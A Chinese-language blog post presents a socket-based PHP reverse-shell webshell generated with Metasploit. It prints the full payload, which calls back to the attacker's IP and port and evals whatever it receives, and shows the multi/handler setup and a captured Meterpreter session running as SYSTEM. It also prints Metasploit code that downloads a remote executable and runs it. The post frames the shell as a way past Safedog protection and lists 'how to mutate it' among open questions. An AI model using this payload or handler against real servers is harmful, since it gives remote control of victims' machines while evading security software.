0×01 前言 

常规的webshell都是调用该语言中习惯函数来完成读取、执行等操作,从协议上来讲是采用http/https协议。但是和服务器通信还有另外一种方式：socket通信。

常见的脚本语言asp,php,jsp,都可以实现对应的socket编程。例如使用msf中： 

msfpayload php/reverse_php LHOST=自己的IP LPORT=端口 R > sha1.php

生成的php_webshell： 

#<?php
error_reporting(0);
# The payload handler overwrites this with the correct LHOST before sending
# it to the victim.
$ip = '192.168.1.5';
$port = 2013;
$ipf = AF_INET;
if (FALSE !== strpos($ip, ":")) {
  # ipv6 requires brackets around the address
  $ip = "[". $ip ."]";
  $ipf = AF_INET6;
}
if (($f = 'stream_socket_client') && is_callable($f)) {
  $s = $f("tcp://{$ip}:{$port}");
  $s_type = 'stream';
} elseif (($f = 'fsockopen') && is_callable($f)) {
  $s = $f($ip, $port);
  $s_type = 'stream';
} elseif (($f = 'socket_create') && is_callable($f)) {
  $s = $f($ipf, SOCK_STREAM, SOL_TCP);
  $res = @socket_connect($s, $ip, $port);
  if (!$res) { die(); }
  $s_type = 'socket';
} else {
  die('no socket funcs');
}
if (!$s) { die('no socket'); }

switch ($s_type) {
case 'stream': $len = fread($s, 4); break;
case 'socket': $len = socket_read($s, 4); break;
}
if (!$len) {
  # We failed on the main socket.  There's no way to continue, so
  # bail
  die();
}
$a = unpack("Nlen", $len);
$len = $a['len'];

$b = '';
while (strlen($b) < $len) {
  switch ($s_type) {
  case 'stream': $b .= fread($s, $len-strlen($b)); break;
  case 'socket': $b .= socket_read($s, $len-strlen($b)); break;
  }
}
# Set up the socket for the main stage to use.
$GLOBALS['msgsock'] = $s;
$GLOBALS['msgsock_type'] = $s_type;
eval($b);
die();
?>

0×02 实例

本机      （192.168.1.5）  ： win03+msf+ie 
测试服务器（192.168.1.108）： win03+apache+safedog 
设置相关模块： 

msf > use multi/handler
msf  exploit(handler) > et PAYLOAD php/meterpreter/reverse_tcp
[-] Unknown command: et.
msf  exploit(handler) > set PAYLOAD php/meterpreter/reverse_tcp
PAYLOAD => php/meterpreter/reverse_tcp
msf  exploit(handler) >  set LHOST 192.168.1.5
LHOST => 192.168.1.5
msf  exploit(handler) > set LPORT 2013
LPORT => 2013
msf  exploit(handler) > exploit -j
[*] Exploit running as background job.

使用浏览器访问木马地址（假设我们已经上传到目标机）： 

http：//192.168.1.108/sha1.php成功返回一个Meterpreter session： 

msf  exploit(handler) >
[*] Started reverse handler on 192.168.1.5:2013
[*] Starting the payload handler...
[*] Sending stage (39217 bytes) to 192.168.1.108
[*] Meterpreter session 2 opened (192.168.1.5:2013 -> 192.168.1.108:1052) at 2013-01-08 20:13:52 +0800
msf  exploit(handler) > sessions -l
Active sessions
===============
  Id  Type                 Information            Connection
  --  ----                 -----------            ----------
  2   meterpreter php/php  SYSTEM (0) @ WIN03SP0  192.168.1.5:2013 -> 192.168.1.108:1052 (192.168.1.108)
msf  exploit(handler) > sessions -i 2
[*] Starting interaction with 2...
meterpreter > sysinfo
Computer    : WIN03SP0
OS          : Windows NT WIN03SP0 5.2 build 3790 (Windows Server 2003 Enterprise Edition) i586
Meterpreter : php/php
meterpreter >

如图，phpspy.php安全狗正常拦截，sha1.php正常运行： 

然后我们可以执行诸如ls列目录，ps查看进程信息等命令。 

0×03 分析

在0×02中在获取的Meterpreter sessions中我们使用 

meterpreter > execute -f c:\\sha1.exe

这个命令来执行可执行文件，如图所示： 

def php_exec_file
    exename = Rex::Text.rand_text_alpha(rand(8) + 4)
    dis = '$' + Rex::Text.rand_text_alpha(rand(4) + 4)
    shell = <<-END_OF_PHP_CODE
    if (!function_exists('sys_get_temp_dir')) {
      function sys_get_temp_dir() {
        if (!empty($_ENV['TMP'])) { return realpath($_ENV['TMP']); }
        if (!empty($_ENV['TMPDIR'])) { return realpath($_ENV['TMPDIR']); }
        if (!empty($_ENV['TEMP'])) { return realpath($_ENV['TEMP']); }
        $tempfile=tempnam(uniqid(rand(),TRUE),'');
        if (file_exists($tempfile)) {
          @unlink($tempfile);
          return realpath(dirname($tempfile));
        }
        return null;
      }
    }
    $fname = sys_get_temp_dir() . DIRECTORY_SEPARATOR . "#{exename}.exe";
    $fd_in = fopen("#{datastore['URL']}", "rb");
    $fd_out = fopen($fname, "wb");
    while (!feof($fd_in)) {
      fwrite($fd_out, fread($fd_in, 8192));
    }
    fclose($fd_in);
    fclose($fd_out);
    chmod($fname, 0777);
    $c = $fname;
    #{php_preamble({:disabled_varname => dis})}
    #{php_system_block({:cmd_varname => "$c", :disabled_varname => dis})}
    @unlink($fname);
    END_OF_PHP_CODE

    #return Rex::Text.compress(shell)
    return shell
  end
 
0×04 总结

这种方式执行的webshell，一般的安全防护软件应该还没对此进行监控与防御。大概原因在于这种方式的webshell的利用不是那么方便。但是如果哪位大神有好用的工具，这种webshell还是不错的。
 
0×05 问题

1.是否有安全软件对这种shell有防护效果
2.这种shell本身是否有什么缺陷
3.如何防这种shell
4.如何变形
5.more..